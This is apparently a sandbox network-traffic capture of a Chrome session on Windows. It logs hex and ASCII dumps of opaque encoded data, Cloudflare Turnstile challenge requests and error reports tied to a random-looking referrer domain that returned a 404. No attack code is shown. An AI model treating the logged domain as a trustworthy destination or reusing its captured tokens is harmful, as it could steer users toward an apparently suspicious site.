2024-04-24 06:21:37 UTC	614	IN	Data Raw: 32 35 66 0d 0a 6a 62 79 31 78 4c 2b 6b 6e 33 6d 30 68 4a 65 4b 74 35 6d 70 68 36 2b 71 78 62 79 30 6f 73 32 79 79 63 36 31 78 4e 48 46 33 74 61 58 6f 4d 75 36 74 4b 33 6b 70 62 58 47 76 74 53 39 78 71 58 62 76 4c 48 42 35 2f 58 72 7a 63 66 6f 74 4b 7a 77 36 37 54 73 74 74 6a 76 75 74 66 53 39 65 62 36 30 76 6e 71 41 64 7a 69 79 76 44 4e 45 2b 4c 76 33 4f 77 52 38 2b 44 68 39 75 54 70 35 66 6b 62 33 51 73 68 42 50 33 39 2b 2f 33 38 42 42 33 6d 41 53 41 61 36 43 2f 74 43 68 45 70 4c 50 49 31 4a 7a 44 79 46 68 34 4f 2b 77 41 74 41 51 34 6b 52 69 35 49 4a 66 6f 36 47 52 38 74 42 79 6b 50 4d 54 49 30 44 45 63 4f 4c 68 64 4b 47 54 6c 45 4e 6c 64 4c 55 52 70 44 50 54 56 57 4e 31 4e 47 57 55 6f 35 51 56 35 6d 58 6b 77 71 4d 43 30 6d 55 6d 5a 70 61 56 46 73 54 6d Data Ascii: 25fjby1xL+kn3m0hJeKt5mph6+qxby0os2yyc61xNHF3taXoMu6tK3kpbXGvtS9xqXbvLHB5/XrzcfotKzw67TsttjvutfS9eb60vnqAdziyvDNE+Lv3OwR8+Dh9uTp5fkb3QshBP39+/38BB3mASAa6C/tChEpLPI1JzDyFh4O+wAtAQ4kRi5IJfo6GR8tBykPMTI0DEcOLhdKGTlENldLURpDPTVWN1NGWUo5QV5mXkwqMC0mUmZpaVFsTm
2024-04-24 06:21:37 UTC	1369	IN	Data Raw: 31 38 36 36 0d 0a 49 52 32 4e 71 56 58 70 66 61 55 65 49 6a 59 6c 6b 58 30 36 47 62 55 79 45 6b 31 70 62 62 6c 5a 75 69 33 4a 78 6e 5a 4a 69 70 32 53 54 69 57 6c 2f 6d 34 70 36 6d 70 36 68 67 6f 43 33 6c 59 47 6d 64 4a 53 62 75 4b 71 36 6a 62 79 69 73 72 70 38 72 37 57 65 6f 4c 4f 56 67 36 61 33 72 6f 36 5a 73 73 47 52 74 61 76 59 79 63 54 45 6d 74 65 59 6e 5a 6d 72 72 71 44 66 6d 71 54 54 6e 37 4b 79 35 4b 72 4d 36 38 44 46 7a 65 61 79 77 4f 6e 70 72 65 48 50 73 63 6e 6b 38 4d 76 33 33 64 33 57 34 50 44 32 41 63 62 6c 31 39 2f 55 43 67 37 63 42 4f 41 51 45 63 37 37 34 2b 37 53 31 74 62 31 35 4e 66 5a 42 39 37 5a 47 76 6e 37 47 53 49 51 2b 2b 45 53 43 41 45 63 36 77 63 64 35 77 51 74 4b 43 4d 4a 4d 2f 41 35 38 79 38 6c 4c 69 63 70 4a 2f 63 33 43 7a 59 2b Data Ascii: 1866IR2NqVXpfaUeIjYlkX06GbUyEk1pbblZui3JxnZJip2STiWl/m4p6mp6hgoC3lYGmdJSbuKq6jbyisrp8r7WeoLOVg6a3ro6ZssGRtavYycTEmteYnZmrrqDfmqTTn7Ky5KrM68DFzeaywOnpreHPscnk8Mv33d3W4PD2Acbl19/UCg7cBOAQEc774+7S1tb15NfZB97ZGvn7GSIQ++ESCAEc6wcd5wQtKCMJM/A58y8lLicpJ/c3CzY+
2024-04-24 06:21:37 UTC	1369	IN	Data Raw: 5a 61 58 48 31 70 69 48 36 4b 54 70 4b 56 6a 6d 39 7a 65 56 69 61 65 4a 4b 4f 63 35 6d 4b 65 4b 4b 57 64 6f 39 34 6b 4a 78 7a 61 57 5a 34 6c 32 79 4b 6f 62 4b 44 68 4b 32 4b 6f 70 61 4c 6d 70 43 30 66 4a 2b 31 66 5a 2b 42 6e 4b 79 67 6b 62 75 31 79 6e 79 42 72 61 79 6d 76 38 75 5a 70 71 69 54 70 38 69 74 77 62 58 47 73 4b 71 55 32 74 57 61 77 4e 4c 62 72 72 7a 50 70 4d 4c 66 34 4c 33 55 78 64 2f 75 7a 4d 33 45 76 64 58 49 33 75 6a 56 36 63 4c 70 38 4c 4f 33 37 39 6e 33 41 2b 47 2f 41 77 62 59 2b 4f 67 41 2b 67 54 56 33 50 77 53 37 51 4c 39 35 75 59 50 36 50 58 53 38 2f 4c 76 48 4f 6a 32 38 50 6e 69 47 50 41 62 2f 50 4c 66 4b 67 7a 6a 48 53 51 68 4b 51 4d 6e 4e 42 58 2b 4a 53 30 5a 41 79 73 79 4a 43 55 56 4c 7a 67 62 4e 54 4d 37 48 68 77 36 47 52 4d 68 51 Data Ascii: ZaXH1piH6KTpKVjm9zeViaeJKOc5mKeKKWdo94kJxzaWZ4l2yKobKDhK2KopaLmpC0fJ+1fZ+BnKygkbu1ynyBraymv8uZpqiTp8itwbXGsKqU2tWawNLbrrzPpMLf4L3Uxd/uzM3EvdXI3ujV6cLp8LO379n3A+G/AwbY+OgA+gTV3PwS7QL95uYP6PXS8/LvHOj28PniGPAb/PLfKgzjHSQhKQMnNBX+JS0ZAysyJCUVLzgbNTM7Hhw6GRMhQ
2024-04-24 06:21:37 UTC	1369	IN	Data Raw: 50 69 31 43 4c 5a 48 5a 50 68 6c 64 5a 65 33 35 51 6a 58 42 62 67 58 56 32 6c 34 42 78 63 4b 42 70 6e 34 52 73 67 5a 39 73 65 59 69 6b 73 32 32 6a 64 70 69 50 6d 4a 46 38 6d 58 69 53 65 6f 47 66 73 37 71 33 6e 71 2b 68 6e 59 43 6d 77 72 75 63 71 4c 32 61 79 6f 32 6e 72 38 65 71 73 72 48 47 72 4b 6d 33 6b 4d 37 42 71 62 48 4e 72 37 58 59 30 74 4f 6e 34 4c 7a 67 33 38 6e 4e 32 74 32 71 36 72 36 74 35 38 76 54 37 4d 76 37 74 2f 33 4e 79 76 54 72 37 64 6e 69 38 41 45 43 78 75 44 48 34 4e 66 69 33 4f 6a 6c 34 2b 41 49 37 39 4c 2b 34 2b 48 36 45 4f 37 75 7a 78 50 79 2f 41 4c 5a 38 68 72 30 47 50 62 67 36 52 55 68 34 79 73 5a 4a 4f 6a 70 48 41 4c 77 38 78 41 53 39 7a 49 61 45 76 73 33 44 7a 34 2f 4f 42 54 39 52 42 49 52 4f 52 6f 67 53 55 4e 4b 51 45 55 68 52 54 Data Ascii: Pi1CLZHZPhldZe35QjXBbgXV2l4BxcKBpn4RsgZ9seYiks22jdpiPmJF8mXiSeoGfs7q3nq+hnYCmwrucqL2ayo2nr8eqsrHGrKm3kM7BqbHNr7XY0tOn4Lzg38nN2t2q6r6t58vT7Mv7t/3NyvTr7dni8AECxuDH4Nfi3Ojl4+AI79L+4+H6EO7uzxPy/ALZ8hr0GPbg6RUh4ysZJOjpHALw8xAS9zIaEvs3Dz4/OBT9RBIRORogSUNKQEUhRT
2024-04-24 06:21:37 UTC	1369	IN	Data Raw: 5a 47 4b 4e 6d 30 2b 66 62 6e 31 2f 6d 5a 6c 35 63 59 42 77 6e 6f 4e 38 64 6d 64 70 67 33 75 62 6d 36 79 75 6b 4a 4f 43 72 6f 4b 76 72 59 71 46 6d 34 61 62 73 62 75 41 6a 48 75 6c 65 4a 32 47 6b 6f 4f 38 72 4c 69 6c 74 35 72 46 7a 4c 48 49 6b 64 47 73 6a 71 65 55 72 70 72 47 33 4c 2f 63 73 62 2f 66 6d 39 50 61 76 39 62 6a 70 73 50 4c 6f 2b 58 41 33 36 72 78 70 63 6a 6d 79 4d 37 31 2b 63 50 56 36 4c 54 79 74 2f 6e 65 2b 2b 48 64 76 74 62 34 38 75 48 32 76 51 54 6e 44 67 30 4d 35 77 37 4a 39 51 67 54 45 4d 6f 45 34 78 63 47 2f 65 7a 57 47 74 4d 43 44 52 6a 76 38 2b 62 39 41 69 6b 6c 42 67 6b 64 44 77 6b 4f 2f 53 50 78 38 67 41 73 45 51 63 4e 43 2f 59 50 4d 79 73 2b 4c 45 4d 77 4e 6a 49 42 47 76 35 41 41 77 78 4f 50 30 67 38 48 43 55 51 4b 69 5a 43 45 45 4d Data Ascii: ZGKNm0+fbn1/mZl5cYBwnoN8dmdpg3ubm6yukJOCroKvrYqFm4absbuAjHuleJ2GkoO8rLilt5rFzLHIkdGsjqeUrprG3L/csb/fm9Pav9bjpsPLo+XA36rxpcjmyM71+cPV6LTyt/ne++Hdvtb48uH2vQTnDg0M5w7J9QgTEMoE4xcG/ezWGtMCDRjv8+b9AiklBgkdDwkO/SPx8gAsEQcNC/YPMys+LEMwNjIBGv5AAwxOP0g8HCUQKiZCEEM
2024-04-24 06:21:37 UTC	778	IN	Data Raw: 58 75 56 6d 56 2b 51 6d 35 69 49 64 6e 31 33 71 58 6d 69 64 6e 6d 46 66 59 43 41 68 4a 32 48 6b 4b 71 75 69 4b 71 6b 72 72 4f 32 72 4c 4f 31 6a 5a 71 65 6c 4d 65 79 79 73 43 4b 71 71 58 42 71 4b 44 51 6f 34 79 6f 76 71 4b 67 6f 4b 2f 59 72 4e 6a 63 30 4f 43 7a 76 4e 47 69 75 5a 33 55 78 37 62 46 79 4f 76 63 79 72 36 34 76 71 2f 43 35 72 37 4f 38 71 33 5a 74 75 66 55 38 2b 2f 54 36 4f 76 35 76 66 6e 5a 39 73 37 36 39 75 66 71 77 38 6b 44 43 2b 48 72 41 51 6e 4f 78 75 62 73 31 51 45 49 47 41 58 54 37 2f 41 57 43 64 38 5a 45 51 2f 65 38 51 63 67 4a 2b 4c 69 41 51 67 49 37 2b 77 4e 2b 78 58 71 35 78 45 68 4a 41 73 56 2b 43 77 39 2b 69 41 69 51 41 4e 46 4c 54 59 58 49 7a 51 58 42 30 6b 59 44 6b 51 34 54 52 41 78 54 6c 59 2f 4c 54 63 4c 49 79 5a 4f 53 78 6f 58 Data Ascii: XuVmV+Qm5iIdn13qXmidnmFfYCAhJ2HkKquiKqkrrO2rLO1jZqelMeyysCKqqXBqKDQo4yovqKgoK/YrNjc0OCzvNGiuZ3Ux7bFyOvcyr64vq/C5r7O8q3ZtufU8+/T6Ov5vfnZ9s769ufqw8kDC+HrAQnOxubs1QEIGAXT7/AWCd8ZEQ/e8QcgJ+LiAQgI7+wN+xXq5xEhJAsV+Cw9+iAiQANFLTYXIzQXB0kYDkQ4TRAxTlY/LTcLIyZOSxoX
2024-04-24 06:21:37 UTC	1369	IN	Data Raw: 37 65 63 0d 0a 2b 4b 67 34 36 48 47 31 73 53 35 71 4d 76 74 71 39 2f 32 39 38 54 71 34 73 71 79 39 4c 6e 30 2b 37 7a 4b 76 64 76 74 77 65 54 39 30 74 55 43 38 77 6e 4a 41 2b 48 4f 32 76 4c 6e 42 42 66 4f 34 39 59 59 32 51 77 46 2f 65 2f 70 38 64 30 65 41 65 50 2b 46 76 51 57 34 2f 6e 31 2b 68 6e 70 48 52 30 6e 2b 77 49 48 45 43 34 73 38 66 6b 44 46 43 2f 33 2b 2f 63 42 4e 6a 63 35 42 52 73 48 46 43 6b 2b 4f 79 51 31 42 6a 6f 75 4c 45 55 66 50 53 46 4e 51 43 73 51 47 69 56 51 54 6c 34 66 57 6b 46 62 54 78 77 37 4e 69 56 61 4e 30 59 30 4c 43 4d 6c 61 6b 4a 4c 58 44 39 65 54 54 5a 6c 5a 30 39 6b 4e 56 78 72 56 33 35 7a 51 44 31 33 64 6f 41 39 66 49 56 48 64 46 31 72 69 30 74 71 54 58 39 39 6c 4a 4a 4f 64 30 6c 74 56 34 71 4a 65 59 69 4a 64 70 46 35 6e 48 32 Data Ascii: 7ec+Kg46HG1sS5qMvtq9/298Tq4sqy9Ln0+7zKvdvtweT90tUC8wnJA+HO2vLnBBfO49YY2QwF/e/p8d0eAeP+FvQW4/n1+hnpHR0n+wIHEC4s8fkDFC/3+/cBNjc5BRsHFCk+OyQ1BjouLEUfPSFNQCsQGiVQTl4fWkFbTxw7NiVaN0Y0LCMlakJLXD9eTTZlZ09kNVxrV35zQD13doA9fIVHdF1ri0tqTX99lJJOd0ltV4qJeYiJdpF5nH2
2024-04-24 06:21:37 UTC	666	IN	Data Raw: 37 6a 4d 75 71 37 5a 30 63 4f 36 34 73 32 77 35 2b 37 59 77 73 72 37 33 4e 53 2b 37 37 6e 4c 31 72 2f 4e 33 38 45 4a 33 74 4d 4a 43 2b 4c 46 2b 41 72 6d 32 77 6e 4e 36 74 4c 52 36 2b 6a 79 45 4e 66 54 39 65 73 54 2b 39 6a 63 34 76 7a 75 39 53 50 61 4a 77 77 70 39 51 72 6b 35 2f 72 74 45 54 49 64 38 6a 67 48 4d 69 51 72 37 66 49 39 2b 50 34 52 46 44 49 76 46 76 73 41 50 52 30 6a 4f 43 6f 71 50 42 74 4c 44 45 77 38 52 43 73 70 52 55 34 79 4a 46 4a 45 47 31 39 4d 49 43 73 35 5a 47 41 75 59 79 49 33 4a 30 6c 70 61 44 64 66 53 45 5a 76 55 33 42 68 5a 6a 4a 52 53 58 42 70 52 48 31 71 54 6c 56 61 65 7a 39 77 63 48 74 43 62 31 35 37 58 48 64 71 65 46 36 44 59 6f 4a 7a 63 47 56 48 59 32 6c 78 61 57 53 4f 6b 47 74 62 61 5a 57 62 67 59 47 66 6f 5a 2b 66 5a 33 4f 6b Data Ascii: 7jMuq7Z0cO64s2w5+7Ywsr73NS+77nL1r/N38EJ3tMJC+LF+Arm2wnN6tLR6+jyENfT9esT+9jc4vzu9SPaJwwp9Qrk5/rtETId8jgHMiQr7fI9+P4RFDIvFvsAPR0jOCoqPBtLDEw8RCspRU4yJFJEG19MICs5ZGAuYyI3J0lpaDdfSEZvU3BhZjJRSXBpRH1qTlVaez9wcHtCb157XHdqeF6DYoJzcGVHY2lxaWSOkGtbaZWbgYGfoZ+fZ3Ok
2024-04-24 06:21:37 UTC	429	IN	Data Raw: 31 61 36 0d 0a 74 32 78 77 61 2b 76 34 39 4c 46 6e 36 44 6d 74 74 7a 71 7a 75 71 68 37 39 2f 42 76 37 44 64 31 4f 66 30 78 66 53 79 7a 76 62 39 38 50 54 79 42 4f 50 6a 39 4e 48 45 33 75 51 49 41 2f 54 47 32 38 72 35 37 51 55 51 41 76 33 6d 7a 76 44 35 39 77 77 4c 46 42 6a 58 38 2b 41 42 41 52 6b 53 4a 43 58 37 2b 42 2f 64 4b 68 59 64 4c 78 49 46 38 52 77 67 4b 75 77 59 4c 2b 38 4d 39 52 49 49 44 50 6a 39 4d 7a 34 67 2b 6b 49 6c 4d 6a 4d 72 47 51 77 37 50 53 51 70 4d 55 42 4b 44 54 5a 57 56 46 56 48 4b 46 4a 47 4d 31 34 37 56 7a 74 55 4b 7a 31 50 58 46 5a 58 4d 55 52 59 54 47 6c 4d 52 6a 42 6b 4b 43 78 74 63 6e 42 58 51 6c 70 5a 57 6c 6b 35 55 31 35 4c 51 56 74 65 64 30 46 67 68 30 68 79 64 34 78 68 6a 59 64 6c 65 57 65 50 54 45 61 51 61 33 68 77 6c 30 78 Data Ascii: 1a6t2xwa+v49LFn6Dmttzqzuqh79/Bv7Dd1Of0xfSyzvb98PTyBOPj9NHE3uQIA/TG28r57QUQAv3mzvD59wwLFBjX8+ABARkSJCX7+B/dKhYdLxIF8RwgKuwYL+8M9RIIDPj9Mz4g+kIlMjMrGQw7PSQpMUBKDTZWVFVHKFJGM147VztUKz1PXFZXMURYTGlMRjBkKCxtcnBXQlpZWlk5U15LQVted0Fgh0hyd4xhjYdleWePTEaQa3hwl0x

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	49755	35.190.80.1	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:21:38 UTC	538	OUT	OPTIONS /report/v4?s=5O5X6EfqLsJZozrSmIps6OCiBy71mqFGK58Z8g76jsnH3koVfMAUf%2Fz18OES8oq4qcGr1GoqPBnpZzIshA6Sg5mQ7Pa%2FUKg%2Fwhz0fWCyd5FR9%2BDUVnZAkrq5mwU%2BZw%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://o5u7g.zleu9.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 06:21:38 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Wed, 24 Apr 2024 06:21:38 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	49756	104.17.2.184	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:21:38 UTC	775	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8793fe7a3eb209f1/1713939697720/vu_lqyi6eyYTFKi HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/gl5s2/0x4AAAAAAAXj4ylnvzeCbeUc/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 06:21:39 UTC	200	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:21:39 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8793fe8eb9b10acd-LAS alt-svc: h3=":443"; ma=86400
2024-04-24 06:21:39 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 54 00 00 00 1f 08 02 00 00 00 f6 96 7d 39 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRT}9IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	49757	35.190.80.1	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:21:38 UTC	480	OUT	POST /report/v4?s=5O5X6EfqLsJZozrSmIps6OCiBy71mqFGK58Z8g76jsnH3koVfMAUf%2Fz18OES8oq4qcGr1GoqPBnpZzIshA6Sg5mQ7Pa%2FUKg%2Fwhz0fWCyd5FR9%2BDUVnZAkrq5mwU%2BZw%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 428 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 06:21:38 UTC	428	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 35 37 33 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 6f 35 75 37 67 2e 7a 6c 65 75 39 2e 63 6f 6d 2f 4f 35 75 37 47 77 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 31 34 33 2e 32 30 35 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 Data Ascii: [{"age":0,"body":{"elapsed_time":573,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://o5u7g.zleu9.com/O5u7Gw/","sampling_fraction":1.0,"server_ip":"172.67.143.205","status_code":404,"type":"http.error"},"type":"network-error"
2024-04-24 06:21:39 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Wed, 24 Apr 2024 06:21:38 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	49758	104.17.3.184	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:21:39 UTC	486	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/862063700:1713935735:n_kDzPRHRfNhpmTiH_iizdB-6K4G1lTc2-dx7iY2jIs/8793fe7a3eb209f1/e5ab976078d7bfd HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 06:21:39 UTC	377	IN	HTTP/1.1 400 Bad Request Date: Wed, 24 Apr 2024 06:21:39 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: j3rK/9FRuzaGvtd/Id1pxg==$TXpyg+U/xSN47o8ndMv6og== Server: cloudflare CF-RAY: 8793fe912c9909f1-LAS alt-svc: h3=":443"; ma=86400
2024-04-24 06:21:39 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	49759	104.17.2.184	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:21:39 UTC	804	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/8793fe7a3eb209f1/1713939697721/681e541e9a1a67d6e1315c07be63bcb685fe8bd723a5af625b1d726887b549f7/q8iZoGCUAv7fCGs HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/gl5s2/0x4AAAAAAAXj4ylnvzeCbeUc/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 06:21:40 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Wed, 24 Apr 2024 06:21:39 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 1 Connection: close
2024-04-24 06:21:40 UTC	1382	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 61 42 35 55 48 70 6f 61 5a 39 62 68 4d 56 77 48 76 6d 4f 38 74 6f 58 2d 69 39 63 6a 70 61 39 69 57 78 31 79 61 49 65 31 53 66 63 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gaB5UHpoaZ9bhMVwHvmO8toX-i9cjpa9iWx1yaIe1SfcAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2024-04-24 06:21:40 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	49760	104.17.3.184	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:21:39 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8793fe7a3eb209f1/1713939697720/vu_lqyi6eyYTFKi HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 06:21:40 UTC	200	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:21:40 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8793fe94fe710adb-LAS alt-svc: h3=":443"; ma=86400
2024-04-24 06:21:40 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 54 00 00 00 1f 08 02 00 00 00 f6 96 7d 39 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRT}9IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	49761	104.17.2.184	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:21:42 UTC	916	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/862063700:1713935735:n_kDzPRHRfNhpmTiH_iizdB-6K4G1lTc2-dx7iY2jIs/8793fe7a3eb209f1/e5ab976078d7bfd HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 29029 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: e5ab976078d7bfd sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/gl5s2/0x4AAAAAAAXj4ylnvzeCbeUc/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 06:21:42 UTC	16384	OUT	Data Raw: 76 5f 38 37 39 33 66 65 37 61 33 65 62 32 30 39 66 31 3d 76 55 6b 38 52 44 35 6e 65 67 31 61 6b 44 78 55 69 42 4a 6a 47 2d 65 69 55 41 78 4a 77 4d 6c 38 6b 55 35 6c 4d 76 38 44 6b 4d 6e 4d 38 38 51 33 38 4d 24 6b 4d 47 38 69 65 35 4f 4d 30 38 41 31 35 6a 69 32 4a 4d 4a 61 58 41 4d 75 42 41 4d 61 33 35 64 75 32 35 41 38 38 30 4d 59 33 44 50 4d 6a 4b 44 69 4d 61 79 2d 4b 5a 4d 73 38 44 42 63 61 35 2d 4e 41 37 5a 68 6a 33 4a 50 4d 6d 50 6b 35 6f 4d 6d 30 53 4b 4d 35 66 38 35 49 41 69 53 38 34 4d 32 6a 4d 75 33 4d 51 6a 4b 35 51 67 2d 4e 31 35 63 30 6b 38 35 76 33 77 6d 66 55 38 4d 4e 31 2d 67 44 33 4e 51 75 48 51 38 73 71 6a 52 6b 4d 4a 58 41 4d 35 50 24 38 6c 75 67 6f 41 48 6d 48 69 4a 63 6c 4d 77 67 2d 38 4e 54 77 6c 4d 6d 36 30 45 56 78 33 34 48 4d 78 49 Data Ascii: 